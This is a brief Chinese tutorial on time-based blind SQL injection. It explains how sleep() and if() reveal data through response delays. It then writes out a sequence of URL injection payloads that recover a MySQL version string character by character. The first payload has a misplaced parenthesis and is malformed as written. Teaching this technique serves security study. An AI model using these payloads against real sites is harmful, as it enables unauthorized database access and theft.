延时注入就是利用sleep()函数通过if语句判断所写的语句真假,如果为真返回我们想要的东西(例如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用sleep()函数让服务器休眠。
固定的理解sleep(x) 函数的意义是关键,就是个自行设定如果判断成功那么就会延迟x秒
延时注入的关键是sleep函数和if语句,通过sleep函数判断语句的真假,为真延迟对应的秒数,为假就无延迟。
substr函数:截取字符
ascii:将截取的字符转为ASCII值进行判断
sleep:为真休眠,如果不为真,if函数返回后面的值1,and 1为真,所以会输出前面的内容。
判断版本号长度:
?id=2' and if(length(version()))=6,sleep(5),1) --+
有延时,返回为真,版本号长度为6个字符
用ASCII码判断版本号第一个字符:
?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+
有延时,返回为真,第一个字符ASCII码为53,即数字5
用ASCII码判断版本号第二个字符:
?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+
有延时,返回为真,第二个数字ASCII码为46,即字符.
用ASCII码判断版本号第三个字符:
?id=2' and if(ascii(substr(version(),3,1))=53,sleep(5),1) --+
有延时,返回为真,第三个字符ASCII码为53,即数字5
用ASCII码判断版本号第四个字符:
?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+
有延时,返回为真,第四个字符ASCII码为46,即字符.
用ASCII码判断版本号第五个字符:
?id=2' and if(ascii(substr(version(),5,1))=53,sleep(5),1) --+
有延时,返回为真,第五个字符ASCII码为53,即数字5
用ASCII码判断版本号第六个字符:
?id=2' and if(ascii(substr(version(),6,1))=51,sleep(5),1) --+
有延时,返回为真,第六个字符ASCII码为51,即数字3
所以,数据库版本号为:
5.5.53